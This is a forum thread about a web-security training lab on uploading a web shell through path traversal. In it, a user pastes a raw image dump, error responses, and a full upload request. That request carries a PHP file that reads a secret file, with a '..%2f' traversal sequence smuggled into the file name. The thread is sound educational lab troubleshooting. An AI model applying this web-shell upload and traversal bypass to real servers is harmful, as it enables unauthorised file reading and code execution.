Burp Suite User Forum

Login to post

Issue with Lab: Web shell upload via path traversal

Entoni | Last updated: Nov 16, 2022 09:30PM UTC

Hello! I did all steps and got via link /files/exploit.php data in strange format Can't understand where is secret string there ����JFIF��BExifMM*�i@@��C      %%))%756*2>-)0;!��C  ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,����"�� ���}!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������� ���w!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ?�I�4���� �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �FM%�4d�Q@ �NɦS����=i(QEQEQEQEQEQEQEQEQEQEQEQEQH�ct��:��Q��)u}.,�<9����?Z���ƥzT��$�Yz��Y�� �������g����ʻ-?�<��KH��y˱o�M����[m݅Q@$A �Ab+�ҵwvKk��7���?�s��s�s����cQ(�+3� �����M���z̪��Ub��Mc]k�����{|��۹���F��bG%cD@T��r�T�(Q[��1����p�.�M5�Q�Ī���c�9?�F����?js��R?"*��,{���;���f�Z��c�H��67�~��m�XO���{I��W+EC�v��1T^��^�ނA�rЊ+���/,�yo�?��C�����Q��_�� �L~a�y�q>������ �?йEVG�QEQEQEQEQEQEQEQE�m:��ZJS֒�Q@Q@Q@Q@Q@Q@Q@Q@V.���[��!�/UC辦�1rvG.'K z���~�P��_�ґ��>��>����F�����,�(���Ffvgv,�r��$�ri+��O��f��o�{���aEV��QEQEQEQEQEQEQE�w��ъ���)��E�N��t�Un��|-��(ǽjW RI �#�� u:V�/ɔ�s���(�!��\�)�T}�S��kP����Ӣ�+��(��(��(��(��(��(��(��M�P4!�IJz�P ��(��(��(��(��(��(��(����u"���o��p��p�U�;#�����?�vG�����Z���U<�b�}+�+�1QVG�x�ULUGR���QEQ�QEQEQEQEQEQEQEQEQE��'I#b��Xv4�(m;������ ��~Y�����{U��,/��%1�,�?�?�v��$Tt!��2��k��9Y�U���+K�[���QEdz�EPEPEPEPEPEPN�Ө���=i(QEQEQEQEQEQEQE-Qԯ��8ǝ'��k�~�ĒI,I$�I'����]}��L�b�ӎ��5B�iǕ�f�lj���c��_��(�����(��(��B@�q��+�?:Z)2 �9>��W-��Z���^LOO.��@T�����(��n (�Sq y1�y?��i�4+}�=���|�s�>l��9U��>V�&��?�?��5ւ@��݈�L�;t>Ǐ�y�ե��oy�N� �U��=j�5=���Eb (�� (�� (�� (�� �Я~��������QX���t�2�B*%ec������~h��m.������?��*j��C��MN*QمQH���(��(��(��(��(�Si� z�R���(��(��(��(��(��(��++X�>���o�̼��4����UCN�J�g��a�[����Btw��z�q��[�GЉ��, ��<�W��'&�٭����\_�l���"Ҭ�p��� (���(U[�?M�b�o�`�����u��έQF�8ۯ�^����-I��F? ?��P? t�����x�뺽��U��.Tp+��J{S�?H���?�-0��ꗊ{�'�Ew�S��������*�cwmvH�%?L�Z��,5 :c�����H��SЏ��������p5���s����T�y�?J�5���q>y���&�G^�.tіpFg���}�?Z��2RWDlQEPQ@ߕ;Z��'�?A ֺlW H ���Մ����.g���Y�'K��E��+ IR�����h�v�_�H[����1�U�k~��5��Џ_C\���aq�1k�O^�G�EQ���툉1-˰U�O��������B�y�;"�QH�(��(��(��)��uB����% (�� (�� (�� (�� (�� (�����-%��7���}��i�wc:�#J��Z�Z���.<�?��$ti;�åeQ�s�y'֊��VG�X���U�Y�Š(�0 (�� ��/�Yo�:������k��p:��� ��j�|,��5�F0�ѹ� .>Y�S̮��ާ�ϩW-Z��bTc܎ ��8-�(bP���E�����4 (���Q@Q@Q@Q@Q@Q@@ � ��k��(��(��(��)��uB����% (�� (�� (�� (�� (�� �uۏ2� �_���7'��b�C18 ���f��,ҷY���zV�U�Ϝ���Q�%�����eQ]g�Q@^�t�5]KO���73*;�|�߀��y���K�jW�2--V���8��Q9rŰG���Am��(�tTA�*Z(�4�(��QEQEQEQEQEQEQEQExO�l�����1Ln!������$~�]���@��M�\[In�աm��5�ףM�)��Š(�QE=�V��,1�$c����EBJ2M������˳�&鸇����j�pC�$Ў�+R�Y��*��4=>c�����4���>��RV�R��o���h����XX4mЎ�ЏZ��>�2RJQمQH���(��(�Si� z�R���(��(��(��(��(���������_%�����Z�+��IuϹ���䫮��|OJ��Dz�XQE��EP^����V�69��.}�� ~��U���'�����AXW� ��cEW �QEQEQEQEQEQEQEQEQE�|I��4[;�e���}Te'�����5���ΰ1�k ��˕I�3^%]��e-Š(�� (�� (�$`����� }#Q����bA#�G5s�����{�66??��mZO��ki��cw�ÃS�#�+�sC%��jN����`Z��zT��D��@��%����<�[�� �A��+9K�Vzx\*��� ��O�QE`QEQES����=i)OZJQEQEQEQEQES��ɧި"=��A5�Wxʮ��2��X{�\E�-o<зXܯ�v5�E�/�zm��QE�|�QEW�x6�j��~���7����o�Rl�Ɖ�����3�=���t4QEq�Q@Q@Q@Q@Q@Q@Q@Q@Q@� ����ؿ����H�Ҿ��A%��g��n��e���ׇٙ�Z(��� (�� (��:/Ϻ;�by�����pkn��.��[�8G>S����+��m#�rJ�� �����QEb{aEPEPEPN�Ө���=i(QEQEQEQEQES7[uh� %���I�ҚW2�R4�����.V�i����Sc�c��z�4I��γ�l�E����MKq���)+*���R/�'����iSY ux mRN����R��G�T��e�j�s.��a���I,���;;c�X�E��m��Š(�!C_C��n��/�l������W�6?��a��e���k\���p+�:\:�Y���ۻH�W#sz �QB�(�ƃ ���S����UfbT���r��X������%��@????QK5�H"�A�#���_�5���at�����A� +XѨ�Fn�S���t[���P�?�����a]�6#���e=����:��U O�� ����� �˝G�A�v~�����}�7��o�=��?Iƥ=ʌ�-����w]��M���[� Ǯ?�]�ޣqax�7E��}��+/�1��Cz�5��F ��#�e��4{K�2���+!�Q@���9���m��Y.��K0o�㹬 m[��b��T�y�����M؛�l]���7~}iy�쬄q�� s��� ;�l2�� ޵�4;\�I��[�n?J����ÚC4wWa���ΔF ��MsR�N���t�:4�D��j�jL�R+vz� ����P���?��n���]���I����'ľְ�Wk��&�q�O�+u� ��9Gt q{3\���T�FA���t�[+�� �'����?v[!���zҢ���~��t���������э_E�� |�s�7���q���p�H�Q]dQ@Q@v�(��Y!+g��F�ݮ�`�tfϢI5� �sW{#��v��꽶�_�QEsZQEQEQE�m:��ZJS֒�Q@Q@Q@Q@T�}���^�m�x�)�t"sP���Z�֯xnn���cLt,>�Vu^Oz+�.Ud~a^��ԕY�Š*֟cq�^�X[���L�)=K`2i��ec�j3�����7;"\�z���սcBմ'��P��b2�cq"��K2;�kڴ}M�����00�f͝�˻!ڳ�W�îiS[���7M��j��ϣ+�� �]��v<@�5�>�wi�cz���5��YYK+���+ a��D3F����u���KO�&� x��y8aF�Y�QTd�k��K�KķcOӖq��Dv����>p@9��]��4���O�C���4M�G�@�]���(�����[????�'�S=��Yn�2U�G )���z�V���c��>XZۋ��,�����`�@݉]y'�gZ��m< &�5��t�lL���P������ ;sZڨv�50�x�M�u?)�\�H��峳u;N�A#�v^�� ���Rk�gv k�q�^nx9����Cyiq�ݴR2�9m���G'��5�]7���F� &~���Q-3����� �f}?Q�k-r�b��@Wz�<؁�{��t5OW�aԍ��L-�k���G̬:�.:��{ՈY"����.1,g��8`q�kϯK��lztjs+2J(��΀��(�d���� ��-S_�%�Ɨ�����9)bv��~��r}�^�Q����t��ᴛ�Bx�� ��&��О���5�X,�=wka��Q�i�C�#�޺��ӝ�u����?��B�Ԛ�{��EY�2mX����u�W��?����l쬢�-`�8�;F �NM&��i�Ť�w�,�8;c|O��n����.���|�E_�4��}J�N��h�|`I ���*�v-u3 $�I �O���pA�>�`u�V�,�/& Ġo�z��֍Aip�V�̤|�����Sן&���? N�:1���QRt�Q@Q@Q@:�N�hC֒����AEPEPEPEPY������O�;��iVf������6?L���p��Ø_�-ٜ�Q]��]�Ûu�^�b2ml%u�c#,y�k���ᣅ�u=dӈ_� �Ƴ��1��Q�� >���&�����Ş��ǚx�A�4����{� x�8�s�N;7�w���������~ٓ�U���� ���@�OG(?�=Ǹ�U�7aq��i��I6WP�����dGPk�5���2����b?�!�����������6���i5f[�Xp����A�4����ʲBe���C �y�cЊ��̏�[��܏¤�]�WH�H��� �j�FK]��¹lx��{N��3&xB��k���l���Z[����YF���uB�NW���_��da�U��{�Ï�M�#�gۼ�9eH�deb�L���Y�X�%p��+p��(dt)��҉������h�7ǣ P� >�� C��G4�)j�/�4�ov�I���bL��Ï@�G $�:���U3�NM{\��c�8��YT0�j�i�DN$�N�W �f��ďҴU�q<%X����M�H� b����!.�c~aڻ �X�:������E�E�٦�*�y,z�rj'���:h�T>!��f��ɩ(����G1�7�O䆼��za��gԤ\�a��OF��!!�^�r�]�]��L���1B�=G�efpg(&�a�S����}*��i�uW��S@�%OLdT5$_��H��-�5-&�{7����&A?��pu�?�� .�or���*���i|�{�QZ��g}sd� �c|mʷ�^�����E,g�î}��sTVr�nz\��\��fu_ۚW���"?�Vl�c��Qȱ���\+�����p������H�T{z�렂+h��!�A��Or}�sԌc������ſiR� �rJ(��=�(��(�Si� z�R���(��(��(��(��*�����02Le���0�Tqߡ�=i�gs:�U ���f����O��/�7#Z��~]R����[��?݋Oie��δl���g��ʒ��� ��$�X��4lR���Г��O���P��]E��Y�Br�G:�n����%x��u�����p*z�������l�x5�7����Z(��$(��(��(��)�X�ZF���4��dRz�4����&�����EUQEQEQET3�_\���'���>��n��Y�zX��2��e��΢�L�Z��]LB� o4��F��ey'dy/��s�)bS����ߎ�s+�5�U��/�o�d��W�s�;d�`Uz�"�RG V����6���H"�r�PHYcר� ��$�w*g�d-���Ʀ��zyT�qQR�����5D���$���٧G�iq��L�t�\���� +��]ϸX *|��}�ETE ����U���*͂�(�aEPEPN�Ө���=i(QEQEQEQEQE����D� �%@��ԯ�W+ӯ^�5��6�����m@rd�p$�_z�R��>g8��_��+^������A ���Њ+���Ӿk+%�Ή;��ܵŞ���c��t���o"lb;Ex��֝wk}j�g��H���Uoc�׹�������yn@��~x&�F�����i_�F��bj�w؂kD����N�\8%H9�p�5#f�E�(��LŠ(��(��(���o����?C@@~����*z� S�y0������IY�(��LY�9�4��;�@QE�(��(���99Q�1�T54��#�5b����5�$܍I E.�~J�!k+g�E�����0f�rs����5�j:���cq}v�b�p8�,��ƃ�ׅ꺕ޯu�\��N�U�1�ƾ�Wf��f5%} \QE�_��n�k������� ����B����CS/��X7lE6��~gcEW�~�QEQEQEQE�m:��ZJS֒�Q@Q@Q@Q@Q@Q@����ib�\��Y}��޹wI"v�E*�p����;SӒ�2���|���JޝKhϜ�2�Y:�W��w�����jh�楠݋�6[ q�ʝf���� �F$z�8����g�ߣ����� [�����mtʎ�~R>���:֓�$Mqs�4��H��H�0Q�8�5�8�Wdx��&7G$����\�WWܮf}������pr&�����k��(��QP�NO�����&��p��jG T�m���8� $q��',z�} � ���eT)������C�4�u�n��jGv��"g��A�E:�T���-�bF��}iۀ;O�������J��Z��*��\��8�NO�$� (��� (� d��9$��g��U�׶�\�.l�{{�]�]Y{��A��z��|?���{���e��,���;N�k�5 �s�jWY9���\������V�=�_S��Ň]Y�1����R�Ȗ��v�-���@�>�{�Ƣ��I%dHQE�+CF]ڍ��d�Mg�ׇ���2�H���x��&�w���.��ݩ��E�~�QEQEQEQE�m:��ZJS֒�Q@Q@Q@Q@Q@DӪO/ǜ��OFe����jZ�i��v�N�P�!l�=ǭR��1���M]����TW9�ylL7p���I;${�uLj$te���f�������~�G������m������������{�|�q�vj��I$�I$�I'������{J���v��qE��i�>�����жf�&�Q�p��?Q����| � +WX&}�z��yI��6v����k٫ϫY��QEdPPz �QEfK��丅l/e� y��d��c^x�P� �6��N����H�^����kmb̑$��2x�=;��5k-V P��@�`|S��+zt�=/��/f��n���m�l�9�:/��U��w�A��9؀���Jƥ8î����\ܶG@9����KE�Q@cx�Q]/C�.s���z�7��?2 ٯ'��� ����0iĴ�O t��G��)ǚV&N��袊�L��(��(��� �3 4�e?��Z�,�����I�!�rMv� �0�����KNS�8 ��{-��y�Q\��Q@Q@Q@Q@:�N�hC֒����AEPEPEPEPEPEPK�:��fE+ ���X�x~��M��{��=k��,���Tc�ɭ#RQ�n'-�b=H��hqwv��ȱ�c.˻��~*�Mu;\�O;�G$EP�j��?>�����zQL�?�}+�|�!���������*M���a����^5V��F�J����}�@��k��ǡ�Yԇ:�ӱ�-���v:�wv��-� y��Xzz��^{Mh�B�(�1��"�����U��d��w;���"��<7��U��\s�c�����D�ɂ�B�aXi��������KfY�$���Ȯ�(��(���E��*����UF(��KX7q�nAER (��ꚥ��g5��b�aT}�_�h;�M+�gx�_�A�^E*o�CCeS��G���gwgwb�����%��I&�u�b�\�����?$��xE����]��Ȍ��QE���(��N�Q]���ut�?Xca��a��Q)(����������[�l>�y����/P���֭(�&ܝ��- ��T�� (���(��(��(��(��)��uB����% (�� (�� (�� (�� (�� (�� ���b��`H,�0G��U���s�����W d���L�e�\�i g�-�s^?�뺞�u����d[ۡ>T {z�SY��5IJ�<�,ұy$��;��I�Wt)(z�7p��+QQ@Oogwt�`��wc��*R�:�*�WsI QB� *��eR|��W�,l���Q�a�AjVYH�q�8���zӢ��rrwg�����Ò�� (���(��(��(��(��(��)��uB����% (�� (�� (�� (�� (�� (�� ���f��Q�P @��� a�A��E4��eZ��NT�T��QVo�Z��XH;s�#���CU��N���ԧ*rp��(��dQ@Q@$A �#��Ez��<]��"ҵ'���&-�o�zEu����????\5����6]� �Wm��YԊ�J���4U+{�q���c�j�y�������Š(�HQEQET��X�_���zM�r�'ds~.�lZ,Med����� �������G�>A$�J�K+��#3��K3��bkc�QK��2LҤ�Ott5�^�(��S �6�QE�!EPEP�eEݡn�x���s�� pAB9�K+����e#v�;���5�]lϫ���\����h���>�(��(��(��(��(��(��)��uB����% (�� (�� (�� (�� (�� (�� (��)��C�!eL�� �}�rSC=���Qר=����桸���M���z2��G5�:��=�2�c�����?_�8�+OQ�e�Xɒ�<�|�������]I�+��k��a���0��*�B�(���w�m��tX��hh��y�iVȥ��Q�ʇ�o�OEq�Y�ub�bŸ�=Q�5\���$����*J��K�w�ʹ�?�J�z~���rGBGҴU;�� �3l�:�?��m��\輟ҲI'�'�i):��˫-My$�T��}��5V�*l�TU��x�Lia��"\���.p?������}����"���9�0�J�D����^I� ]hd�i4�ܛI��ɔ�a���zxi>^Vy��s�'=EWY�QEQEb����O2�q"7�q�*��}t�J������A���斁���}�­hi��ڡ����]k��1�=�X�1�{���iE3�����_& <��\�V��&�Vn�bm!/(��XwD������I'd}fu�IN���N�ET�aEPEPEPEPN�Ө���=i(QEQEQEQEQEQEQKO7��^O�)�����.j�KԎ��D���m�f��\�$~��˱�K:������HV �VX�Ƹ�F��W/ϔ�̈��{~�yqz?��?±�Cl�f��;��rIq�S�ⵧE�x��a��R��[i���Q]'�Q@w�4����X�wl�kjO�M ˰�?�t�6�V����~g9���b�uv>��]���ageh��‚~�坽��5�R�9��~���)E��sk�2F>n������U�Ir��^��+�t��;iW��#2��H&���q�9�G\�5�ܚz���zE,������Z��Z��r�Զ$�|�UO�{��EL4�f�?�U��.�8��:@+>�u%��$�2��9Q��ҮM ����j+M�~xNNz��l�j��)Z���l�Y�5�;e�� ��]%�����v "�G!���+����xg��$0� {��r�̱�|�ڧбۺ��İ-n���42\�˟ֻ���j��˚)�>���?Sܱi-���EKo�2� (Y����� � �����ޢ�r[w�Y�!M_���u�f��O21讆? �O���d���=����ł|ɛ��}���x�ݍiF5%g%[��������m�&R8E���=?H�Ь�-��r?�A��Z��&��P��i�^���R���g�e�H��3Sk�_/��(�� (�� (�� (�� (�� (�� u6�@Ї�%)�I@��(��(��(��(��(��)�72�g$~T�&��d��@?�FI���Py$�]��*��N+�� Su!*��j�yߵ�:/g̟�b �7�˷ �;����?�yO�&Amk~w��Ǣ���ֽ��:�����F+�O�R�,~dኆ����S��Ҿ� N4i�q�ugys3����� ��'���2?�^���+ K�B�f�Y#r��>��n��0rl* �$�E8 4bOx��5=TԈ7Y����R$�E"��URK@5�p'������52�2�Յ�� UU�O�v+QNa��} �� ��d��AEPPQEQEQEQES����=i)OZJQEQEQEQEQE��$C��2��p�����]�pf5�C 9˵�� (���?- )T�@#�>����X l4��eA�9�qL Y_��̟z�d���J-4�@%ܐ��"��,q��q������+ۣ+� )�?CU��Y�bb��k�,��W����?ꭠS����Q����Ii����mZ����:#+����N/z��ׅ���5�F���zt��V\kLӭ�4��2�#=Hɦ#��?*+K�"<����s�0?R�s�]<�M.a�m*���Xw5���@C'�o|ϚeK(�V��O�qMZM�eՕ|,'��� (��� (�� (�� (�� (�� u6�@Ї�%)�I@��(��(��(��(��(��(�'NFx�=�Y�t��U���UX�̼�����qo4'�)��Ðh`�g�)�����-c�Oj�2�� +b� (��/�z����<���v�$M-"��Ă@ئ��4�W�m��7^a��N��i?P��S�*Z��W��x+��6�������O�f������u�tQ�x�o#�?�4�W�m�������O�f������u�tQ�x�o#�ό|F�jFs�.������]�O� �߻��7^Ee, k%��"�&kc��/�/խx�����t��/����E?�� ��p4b�o�>�6{��&� ��ͷ�����t�i�� ����n�.�����O����x+��6�������O�f������u�tQ�x�o#�?�4�W�m��7Xڦ����Ϧ]�r��f�8��$�Gj�J�|*�6��0���=���=����袊B (����94��NB�j�zB�� ?W��ŵ�Q��ۓY6���rN��.=0�*�[��QE!�ܣ�`~��V}@�@�F*�r�Z�u�u/��;?�QX�NQEQEQEQE�m:��ZJS֒�Q@Q@Q@Q@Q@ :���$�X���T��WQ����G��M-iG�� (��� (��0n?�uX�G) }0�+ ެ�f��(4/������j�o>��Br�B7����If�(�3��;f��?�n����+�|F۵"?�+��cWDv2{�QT ��(��(��(��(��(�� 6/n�����,+�<8�Ԕz G����[��Q\�T�)��I�?4��_�_ҮV&��=ͥ����*hkH�ʵ�N���#�Z4�����u(��Z@QE} V �A� c���������ι�t>��e�X�~�h���>�(��(��(��(��)��uB���=)0h�R�у@ E. 4�R�у@ E. 4�R�у@ �y}�?�OQD�z�?���5�Gf|G��S^_��R�у[�,%�4`�SF&�h���F_Ď+/D������������pk�5��vO3�_2���)ph����R��b��5�Z��ƫw��E�e�Dv2{�QT ��(��(��(��(��(�]�U��I��C5�Z�Ϋg���E�L���(����̈́�;?��V�s��\���-l�1� �T��~�t8�q<��@����LF��4`�(�����PH0�=��j� E0>c�G��m��<4�}5���QK�F sn%�4`�QK�F %�4`�QK�F %:������h ����

Ben, PortSwigger Agent | Last updated: Nov 17, 2022 09:39AM UTC

Hi Entoni, The secret is returned after you have carried out steps 9 and 10 in the solution (after you have encoded the the forward slash (/) character and sent this request in Repeater) and then subsequently looked at the corresponding GET /files/exploit.php request/response in the HTTP history. It looks like you are looking at the response to the request that you issued to upload your avatar image.

Entoni | Last updated: Nov 21, 2022 10:08PM UTC

I was trying to pass the lab again, on the step 9 of solution: 9. Obfuscate the directory traversal sequence by URL encoding the forward slash (/) character, resulting in: filename="..%2fexploit.php" I got an issue with HTTP/1.1 400 Bad Request Content-Type: application/json; charset=utf-8 Connection: close Content-Length: 26 "Missing parameter 'csrf'" How to solve it?

Entoni | Last updated: Nov 21, 2022 10:14PM UTC

See this by Get responce: HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 22:11:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Type: text/html; charset=iso-8859-1 Connection: close Content-Length: 274 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.41 (Ubuntu) Server at 61b7b7e45c57 Port 80</address> </body></html> Responce: HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 22:11:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Type: text/html; charset=iso-8859-1 Connection: close Content-Length: 274 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.41 (Ubuntu) Server at 61b7b7e45c57 Port 80</address> </body></html>

Ben, PortSwigger Agent | Last updated: Nov 22, 2022 11:11AM UTC

Hi Entoni, Are you using the POST /my-account/avatar request (that is generated after performing the upload of the exploit.php file in Step 5 of the solution) when attempting Step 9? The screenshot below illustrates what my request (and subsequent response) looks like for this part of the solution: https://snipboard.io/iCI83r.jpg

Entoni | Last updated: Nov 22, 2022 09:14PM UTC

1) Yes, POST request for additing file to directory above /avatars 2) There is a strange thing else, looking to solution we can se: Log in and upload an image as your avatar, then go back to your account page. In Burp, go to Proxy > HTTP history and notice that your image was fetched using a GET request to /files/avatars/<YOUR-IMAGE>. Send this request to Burp Repeater. But if i look into http history, there is not requests - GET request to /files/avatars/<YOUR-IMAGE> And i have to usу other request and add strings to GET Could you check it?

Entoni | Last updated: Nov 22, 2022 09:33PM UTC

Now, i try to send: POST /my-account/avatar HTTP/1.1 Host: 0a50007704370d06c0d651bb00df0022.web-security-academy.net Cookie: session=3oc4RFo6DTtYboEfgH7Yq8CMPphNIRNI User-Agent: Mozilla/5.0 (Windows NT 11.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5185.199 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------176289130330405159551224956561 Content-Length: 546 Origin: https://0a50007704370d06c0d651bb00df0022.web-security-academy.net Referer: https://0a50007704370d06c0d651bb00df0022.web-security-academy.net/my-account Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Dnt: 1 Sec-Gpc: 1 Te: trailers Connection: close -----------------------------176289130330405159551224956561 Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php" Content-Type: application/x-php <?php echo file_get_contents('/home/carlos/secret'); ?> -----------------------------176289130330405159551224956561 Content-Disposition: form-data; name="user" wiener -----------------------------176289130330405159551224956561 Content-Disposition: form-data; name="csrf" GCxFIgcN1sAlwBHGcw4WYZEmf0MQyC9u -----------------------------176289130330405159551224956561-- Responce: HTTP/1.1 400 Bad Request Content-Type: application/json; charset=utf-8 Connection: close Content-Length: 26 "Missing parameter 'csrf'" --- If try with filename="../fexploit.php Responce: HTTP/1.1 200 OK Date: Tue, 22 Nov 2022 21:33:25 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 132 The file avatars/exploit.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Entoni | Last updated: Nov 22, 2022 09:39PM UTC

Oh, great, i found a solution During the step 9, need to turn on intercept and change ../exploit.php to ..%2fexploit.php And file will be added to files directory

You need to Log in to post a reply. Or register here, for free.